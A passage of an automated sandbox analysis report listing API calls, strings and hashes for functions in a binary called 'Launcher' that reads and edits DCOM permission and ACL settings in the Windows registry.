#2644.MFC42U(?,80000002,SOFTWARE\MICROSOFT\OLE,DEFAULTACCESSPERMISSION), ref: 00B5E896

Strings

User/Group, xrefs: 00B5E833
j, xrefs: 00B5E865
SOFTWARE\MICROSOFT\OLE, xrefs: 00B5E87E
Can Access, xrefs: 00B5E85E
DEFAULTACCESSPERMISSION, xrefs: 00B5E879

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#1662#2644#4704#540#800CloseH_prolog3_OpenQueryValue
String ID: Can Access$DEFAULTACCESSPERMISSION$SOFTWARE\MICROSOFT\OLE$User/Group$j
API String ID: 3233431167-2986021116
Opcode ID: 4e2b1ea830e81a649a1c9796e3041504aca4f36a8a5271d41af38601cb2144f8
Instruction ID: ececa96ab328195b67b33157cb7a58a0c4b09b313b5470668aea88b27db41be2
Opcode Fuzzy Hash: 4e2b1ea830e81a649a1c9796e3041504aca4f36a8a5271d41af38601cb2144f8
Instruction Fuzzy Hash: 91018475500308ABEB14ABB0CC46FEF7BF9EB45714F00045DF91176280CB7999458BA5

Function 00B5EA00 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 00B5EA0D
SendMessageW.USER32(?,00001061,00000000,?), ref: 00B5EA38
SendMessageW.USER32(?,00001061,00000001,?), ref: 00B5EA5C
#1662.MFC42U ref: 00B5EA64

Part of subcall function 00B6C0BC: __EH_prolog3_GS.LIBCMT ref: 00B6C0C6
Part of subcall function 00B6C0BC: #540.MFC42U(00000488,00B5C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 00B6C0F1
Part of subcall function 00B6C0BC: RegOpenKeyExW.ADVAPI32 ref: 00B6C112
Part of subcall function 00B6C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C13A
Part of subcall function 00B6C0BC: RegCloseKey.ADVAPI32(?), ref: 00B6C151
Part of subcall function 00B6C0BC: #800.MFC42U ref: 00B6C15F

#2644.MFC42U(?,80000002,SOFTWARE\MICROSOFT\OLE,DEFAULTLAUNCHPERMISSION), ref: 00B5EA86

Strings

DEFAULTLAUNCHPERMISSION, xrefs: 00B5EA69
User/Group, xrefs: 00B5EA23
SOFTWARE\MICROSOFT\OLE, xrefs: 00B5EA6E
Can Launch, xrefs: 00B5EA4E
j, xrefs: 00B5EA55

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#1662#2644#4704#540#800CloseH_prolog3_OpenQueryValue
String ID: Can Launch$DEFAULTLAUNCHPERMISSION$SOFTWARE\MICROSOFT\OLE$User/Group$j
API String ID: 3233431167-4187468794
Opcode ID: f0a412751aaa89a6b30f4d2d2a265542289a8dcc37bb4525c60813d078199328
Instruction ID: 9f8de1c7b47b01ef72fe6c328f521bd55e246ece3bfbcf904a6c619a87074956
Opcode Fuzzy Hash: f0a412751aaa89a6b30f4d2d2a265542289a8dcc37bb4525c60813d078199328
Instruction Fuzzy Hash: 46018475500308ABEB14ABA0CC46FEF7BF9EB85B14F00045DF91176380CB7999458BA5

Function 00B62D10 Relevance: 16.6, APIs: 11, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 00B6B37C: __EH_prolog3.LIBCMT ref: 00B6B383
Part of subcall function 00B6B37C: #324.MFC42U(00000083,?,00000004,00B62D50,?,F6B930CF), ref: 00B6B395
Part of subcall function 00B6B37C: #540.MFC42U(00000083,?,00000004,00B62D50,?,F6B930CF), ref: 00B6B3A7
Part of subcall function 00B6B37C: #861.MFC42U(00B521A0,00000083,?,00000004,00B62D50,?,F6B930CF), ref: 00B6B3B8

#858.MFC42U(?,?,F6B930CF), ref: 00B62D5E
#2506.MFC42U(?,?,F6B930CF), ref: 00B62D69
#800.MFC42U(?,?,F6B930CF), ref: 00B62D7A
#641.MFC42U(?,?,F6B930CF), ref: 00B62D85
#858.MFC42U(?,?,?,F6B930CF), ref: 00B62D99
#2910.MFC42U(00000104,?,?,?,F6B930CF), ref: 00B62DB2
#5568.MFC42U(000000FF,00000104,?,?,?,F6B930CF), ref: 00B62E4F
#800.MFC42U(000000FF,00000104,?,?,?,F6B930CF), ref: 00B62E61
#641.MFC42U(000000FF,00000104,?,?,?,F6B930CF), ref: 00B62E6C

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #641#800#858$#2506#2910#324#540#5568#861H_prolog3
String ID:
API String ID: 1871001060-0
Opcode ID: cfb08008bd6b9bb60fe86271066c8678615525f83ff47ed45a69966b8892b686
Instruction ID: 15c379fe6f50f227600e0cfef7f926d550346db952bafc9f11a50938f2b7b413
Opcode Fuzzy Hash: cfb08008bd6b9bb60fe86271066c8678615525f83ff47ed45a69966b8892b686
Instruction Fuzzy Hash: 67512771D00609DBDF14EBA8C896BEEB7F5FF04314F2045A9E022AB2E1DB395A45CB51

Function 00B6CE81 Relevance: 16.6, APIs: 11, Instructions: 82COMMON

Download Yara Rule

APIs

SetSecurityDescriptorGroup.ADVAPI32(00000000,00000000,?,00000000,?,00B6CE3A,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CE90
GetLastError.KERNEL32(?,00B6CE3A,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CE9A
free.MSVCRT ref: 00B6CEBE
IsValidSid.ADVAPI32(00000000,00000000,?,?,00B6CE3A,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CED7

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: DescriptorErrorGroupLastSecurityValidfree
String ID:
API String ID: 3125347566-0
Opcode ID: 23e0b9fd1301f3eea822939a34f2bccf0506787c2956610fc89a59caa77769cd
Instruction ID: 7c7408796bb362e102cf800c448736da9940efc61c7efc0fc022aa526b3e7a57
Opcode Fuzzy Hash: 23e0b9fd1301f3eea822939a34f2bccf0506787c2956610fc89a59caa77769cd
Instruction Fuzzy Hash: 8B218032204112EBD7111B62EC48B76BFE9FB00B66F218166F959DB160DB3DDC949BA0

Function 00B6CF6C Relevance: 16.6, APIs: 11, Instructions: 82COMMON

Download Yara Rule

APIs

SetSecurityDescriptorOwner.ADVAPI32(00000000,00000000,?,00000000,?,00B6CE27,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CF7B
GetLastError.KERNEL32(?,00B6CE27,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CF85
free.MSVCRT ref: 00B6CFA9
IsValidSid.ADVAPI32(00000000,00000000,?,?,00B6CE27,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CFC2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: DescriptorErrorLastOwnerSecurityValidfree
String ID:
API String ID: 2895241793-0
Opcode ID: 623914edc856f0c1a27a4cd7e18ac84bfabc98ada746db81c1235c0b2c838fbf
Instruction ID: 4de4af5e9e9492d974ce48f521e8b6c99cee37edca11bbea7a1081e11fcdf3d1
Opcode Fuzzy Hash: 623914edc856f0c1a27a4cd7e18ac84bfabc98ada746db81c1235c0b2c838fbf
Instruction Fuzzy Hash: 5B21BE32704122EBD7211B61DD08B76BBE8FF00366F218166F909DB160EB3DDC51DAA4

Function 00B6693C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 164registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000000,Interface,00000000), ref: 00B669E0
RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000050), ref: 00B66A19
RegQueryValueW.ADVAPI32(00000000,?,?,00000200), ref: 00B66A4C
wsprintfW.USER32 ref: 00B66A7F
CLSIDFromString.OLE32(00000000,-00000008), ref: 00B66B21
RegCloseKey.ADVAPI32(00000000), ref: 00B66C0A

Strings

Interface, xrefs: 00B669D6
', xrefs: 00B669A8
%s <no name>, xrefs: 00B66A73

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CloseEnumFromOpenQueryStringValuewsprintf
String ID: %s <no name>$'$Interface
API String ID: 4261639067-2844714346
Opcode ID: b8b36145d8fa4d36777145b22375d705dcf56669ff0f59f2dfd8ccf5b19d211b
Instruction ID: d84d71808f486eae273435e7c030da09567ef5f6df27b4e206efbf4f4df71751
Opcode Fuzzy Hash: b8b36145d8fa4d36777145b22375d705dcf56669ff0f59f2dfd8ccf5b19d211b
Instruction Fuzzy Hash: 5F81BD719012299FDB61DF64CD99BADB7F8FB08305F1041EAE809A72A1DB749E84CF40

Function 00B5CD80 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 113stringwindowCOMMON

Download Yara Rule

APIs

#6330.MFC42U(00000001), ref: 00B5CD9C
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B5CE3D
lstrcpyW.KERNEL32(?,Interactive User,?,?,00B521A0,RemoteServerName,00000001), ref: 00B5CE53
#3870.MFC42U(?,000000FF,?,?,00B521A0,RemoteServerName,00000001), ref: 00B5CE67
lstrlenW.KERNEL32(?,?,000000FF,?,?,00B521A0,RemoteServerName,00000001), ref: 00B5CE73

Strings

Interactive User, xrefs: 00B5CE4D
RunAs, xrefs: 00B5CE8A, 00B5CEA4
RemoteServerName, xrefs: 00B5CDFC, 00B5CE16
ActivateAtStorage, xrefs: 00B5CDBA, 00B5CDD4

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #3870#6330MessageSendlstrcpylstrlen
String ID: ActivateAtStorage$Interactive User$RemoteServerName$RunAs
API String ID: 952077393-4117267133
Opcode ID: 6c96639cebf4cf864d64dcba044c1da74aeff6bccdd7b3bb100e8b7e500798f6
Instruction ID: 33dceefbffb290478803d39b3399e83d83c7166c8f478cb2a5e12287eee5d70c
Opcode Fuzzy Hash: 6c96639cebf4cf864d64dcba044c1da74aeff6bccdd7b3bb100e8b7e500798f6
Instruction Fuzzy Hash: 52319231A40705AAE711FF34CD87B673BEA9F06B02F4400E4BD10AF092DBB1AD084691

Function 00B6B580 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80stringwindowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 00B6B59A

Part of subcall function 00B6D6F5: RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,00B6D6E4,80000000,?,?,?,?,?), ref: 00B6D70D
Part of subcall function 00B6D6F5: RegQueryValueExW.ADVAPI32(?,?,00000000,?,80000000,00B6D6E4,?,?,?,00B6D6E4,80000000,?,?,?,?,?), ref: 00B6D72C
Part of subcall function 00B6D6F5: RegCloseKey.ADVAPI32(?,?,?,?,00B6D6E4,80000000,?,?,?,?,?,?,?,?), ref: 00B6D738

lstrcmpiW.KERNEL32(?,00B52778,80000002,SOFTWARE\MICROSOFT\OLE,EnableDCOM,?,?), ref: 00B6B5DB
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B6B5FC
lstrcmpiW.KERNEL32(?,00B52778,80000002,SOFTWARE\MICROSOFT\OLE,EnableRemoteConnect,?,00000100), ref: 00B6B63D
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B6B655
#2634.MFC42U(00000000), ref: 00B6B664

Strings

EnableRemoteConnect, xrefs: 00B6B619
SOFTWARE\MICROSOFT\OLE, xrefs: 00B6B5BC, 00B6B61E
EnableDCOM, xrefs: 00B6B5B7

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSendlstrcmpi$#2634#4704CloseOpenQueryValue
String ID: EnableDCOM$EnableRemoteConnect$SOFTWARE\MICROSOFT\OLE
API String ID: 3026051211-444212459
Opcode ID: c322c95a6dea1e995cd2185395b9c10033cdf40bafc297f2923036f674b60bbf
Instruction ID: 6c095840a07b655bcb29594ef886b99a0bc94a882c46d8726613ab3af5fb5205
Opcode Fuzzy Hash: c322c95a6dea1e995cd2185395b9c10033cdf40bafc297f2923036f674b60bbf
Instruction Fuzzy Hash: 11216271600219BAD724AB71CC49FE7BBFDEB05755F0001E5F919E2062EB749E88DA90

Function 00B6C61E Relevance: 15.1, APIs: 10, Instructions: 96COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32(00000000,00B6BA07,0000000C,00000002,00000000,0000000C,?,?,00B6BA07), ref: 00B6C64E
GetLastError.KERNEL32(?,00B6BA07), ref: 00B6C658
GetLengthSid.ADVAPI32(00000000,00000001,00000000,0000000C,?,?,00B6BA07), ref: 00B6C675
malloc.MSVCRT ref: 00B6C687
InitializeAcl.ADVAPI32(00000000,00000002,00000002,00B6BA07), ref: 00B6C6A1
AddAccessAllowedAce.ADVAPI32(00000000,00000002,00000000,00000000), ref: 00B6C6B2
GetLastError.KERNEL32 ref: 00B6C6BC
free.MSVCRT ref: 00B6C6D2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ErrorLast$AccessAllowedInformationInitializeLengthfreemalloc
String ID:
API String ID: 86704185-0
Opcode ID: 7ec1f4e09d94660bc5a284c6549571938480d398db9750b5d11214205ae4ae01
Instruction ID: f3bd8816888e363c64fc2761d5608545f6fe45d74afb08593fe646e68689c444
Opcode Fuzzy Hash: 7ec1f4e09d94660bc5a284c6549571938480d398db9750b5d11214205ae4ae01
Instruction Fuzzy Hash: 6A31AE71600206EBC7119F69DC88BBE7BE8EB45712F214059F94AE7240DB38CD418BA9

Function 00B5EFE0 Relevance: 15.0, APIs: 10, Instructions: 39stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5EFEA
#540.MFC42U(000000F8), ref: 00B5EFF7

Part of subcall function 00B5CF40: __EH_prolog3.LIBCMT ref: 00B5CF47
Part of subcall function 00B5CF40: #324.MFC42U(00000092,?,00000008), ref: 00B5CF59
Part of subcall function 00B5CF40: #567.MFC42U(00000092,?,00000008), ref: 00B5CF73

#3871.MFC42U(?,000000F8), ref: 00B5F01F
lstrcpyW.KERNEL32(?,?,?,000000F8), ref: 00B5F031
#2506.MFC42U ref: 00B5F03D
#6195.MFC42U(?), ref: 00B5F050
#6330.MFC42U(00000000), ref: 00B5F059
#693.MFC42U(00000000), ref: 00B5F061
#641.MFC42U(00000000), ref: 00B5F06C
#800.MFC42U(00000000), ref: 00B5F077

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2506#324#3871#540#567#6195#6330#641#693#800H_prolog3H_prolog3_lstrcpy
String ID:
API String ID: 768229929-0
Opcode ID: 3e0f766a11643107d98697ae323f3d340332c49a85ab6fd68ddbe6c4d9e46562
Instruction ID: 0106435e213b63c5d778414adfb92b6d0e359cc5e0c2977e89714919d4a7f839
Opcode Fuzzy Hash: 3e0f766a11643107d98697ae323f3d340332c49a85ab6fd68ddbe6c4d9e46562
Instruction Fuzzy Hash: AD012175A101199BCF25FB60CC96BEDB3B9AF65300F8000E9E15967181DFB86F88CB52

Function 00B5F46C Relevance: 15.0, APIs: 10, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

#800.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F47D
#800.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F488
#800.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F493
#800.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F49E
#616.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4A9
#656.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4B4
#609.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4BF
#609.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4CA
#804.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4D2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#609$#616#656#804
String ID:
API String ID: 3383334730-0
Opcode ID: e2765c4ac9e366dba0a75bc72b82e30ebe75625d3ce43d3293dd7851e9fca7cb
Instruction ID: 934c77da4eeec9bf77f54774721f4c97c93ed9f0ba76d507284be556ee27df59
Opcode Fuzzy Hash: e2765c4ac9e366dba0a75bc72b82e30ebe75625d3ce43d3293dd7851e9fca7cb
Instruction Fuzzy Hash: 1CF0FE35550611CBC639FB30D592AEAB7E1BF21300F4009BDB0AB03192AF357B09CB00

Function 00B5C6F3 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00B5C722

Part of subcall function 00B6D2F7: wsprintfW.USER32 ref: 00B6D35B
Part of subcall function 00B6D2F7: lstrcatW.KERNEL32(?,00B560AC), ref: 00B6D376
Part of subcall function 00B6D2F7: lstrcatW.KERNEL32(?,?), ref: 00B6D37E

Part of subcall function 00B6C0BC: __EH_prolog3_GS.LIBCMT ref: 00B6C0C6
Part of subcall function 00B6C0BC: #540.MFC42U(00000488,00B5C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 00B6C0F1
Part of subcall function 00B6C0BC: RegOpenKeyExW.ADVAPI32 ref: 00B6C112
Part of subcall function 00B6C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C13A
Part of subcall function 00B6C0BC: RegCloseKey.ADVAPI32(?), ref: 00B6C151
Part of subcall function 00B6C0BC: #800.MFC42U ref: 00B6C15F

SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B5C78D
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B5C79D
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B5C7A9
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B5C7B8
#2634.MFC42U(00000001,?,?,?,?), ref: 00B5C7C8
#2634.MFC42U(00000001,00000001,?,?,?,?), ref: 00B5C7D4

Strings

AccessPermission, xrefs: 00B5C751

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#2634lstrcat$#540#800CloseH_prolog3_OpenQueryValuewsprintf
String ID: AccessPermission
API String ID: 1928919276-2751749857
Opcode ID: f9b87c81068c9471e294cfc1bf33d673d0f590e84623c193daa50e1ccfe89936
Instruction ID: 2ea2c54f728ef218ed6f32883524f0a72c102b819947254e260064f04d969a89
Opcode Fuzzy Hash: f9b87c81068c9471e294cfc1bf33d673d0f590e84623c193daa50e1ccfe89936
Instruction Fuzzy Hash: A821B0B0500619BFEB24AF70CC89FA7BBADEF05345F0141A4B91963151DF715D84CBA0

Function 00B617C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B617C7
#2859.MFC42U(?,0000000C), ref: 00B617CF
#538.MFC42U(QueryInterface(IID_IUnknown) failed on the data object.,?,?,?,?,0000000C), ref: 00B61803

Part of subcall function 00B6D91D: __EH_prolog3.LIBCMT ref: 00B6D924
Part of subcall function 00B6D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,00B6B9B7,?,00000000,00000000,00000000), ref: 00B6D942
Part of subcall function 00B6D91D: #540.MFC42U ref: 00B6D94F
Part of subcall function 00B6D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 00B6D96C
Part of subcall function 00B6D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 00B6D97F
Part of subcall function 00B6D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D98C
Part of subcall function 00B6D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D997
Part of subcall function 00B6D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 00B6D99F
Part of subcall function 00B6D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 00B6D9AA
Part of subcall function 00B6D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 00B6DA13

#800.MFC42U(?,00000000,QueryInterface(IID_IUnknown) failed on the data object.,?,?,?,?,0000000C), ref: 00B61819
#538.MFC42U(Drag and Drop Data Object,?,?,?,?,0000000C), ref: 00B61828
#800.MFC42U(00000000,?,Drag and Drop Data Object,?,?,?,?,0000000C), ref: 00B6184D

Strings

Drag and Drop Data Object, xrefs: 00B61820
QueryInterface(IID_IUnknown) failed on the data object., xrefs: 00B617FB

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#538H_prolog3$#1197#2810#2859#540#858#922FormatFreeLocalMessage
String ID: Drag and Drop Data Object$QueryInterface(IID_IUnknown) failed on the data object.
API String ID: 393685950-3430251513
Opcode ID: 0b5f5b621b3e5ca45ed4e8ae63b7b4983bf6705b64131e9768e23038b869ce5e
Instruction ID: 42c59d953407c61f827aa35980d917d1b781e2f46e397d53bc0372f7232f0362
Opcode Fuzzy Hash: 0b5f5b621b3e5ca45ed4e8ae63b7b4983bf6705b64131e9768e23038b869ce5e
Instruction Fuzzy Hash: 7D118231A0011ADFCB04EBA0C856ABEB7B4FF54325F2046A8E511A72E1CB356E45CB91

Function 00B5E8E0 Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6B8D5: __EH_prolog3.LIBCMT ref: 00B6B8DC
Part of subcall function 00B6B8D5: LoadCursorW.USER32(00000000,00007F02), ref: 00B6B8F4
Part of subcall function 00B6B8D5: SetCursor.USER32(00000000), ref: 00B6B8FB
Part of subcall function 00B6B8D5: RegOpenKeyExW.ADVAPI32(?,?,00000000,000F003F,?), ref: 00B6B911
Part of subcall function 00B6B8D5: LoadCursorW.USER32(00000000,00007F00), ref: 00B6B924
Part of subcall function 00B6B8D5: SetCursor.USER32(00000000), ref: 00B6B92B

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00B5E924

Part of subcall function 00B6C0BC: __EH_prolog3_GS.LIBCMT ref: 00B6C0C6
Part of subcall function 00B6C0BC: #540.MFC42U(00000488,00B5C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 00B6C0F1
Part of subcall function 00B6C0BC: RegOpenKeyExW.ADVAPI32 ref: 00B6C112
Part of subcall function 00B6C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C13A
Part of subcall function 00B6C0BC: RegCloseKey.ADVAPI32(?), ref: 00B6C151
Part of subcall function 00B6C0BC: #800.MFC42U ref: 00B6C15F

Strings

DEFAULTLAUNCHPERMISSION, xrefs: 00B5E92A
All classes, xrefs: 00B5E8F4
DefaultLaunchPermission, xrefs: 00B5E8F9
SOFTWARE\MICROSOFT\OLE, xrefs: 00B5E8FE, 00B5E908, 00B5E92F
Can Launch, xrefs: 00B5E8EA
Cannot Launch, xrefs: 00B5E8E5
Global Launch, xrefs: 00B5E8EF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

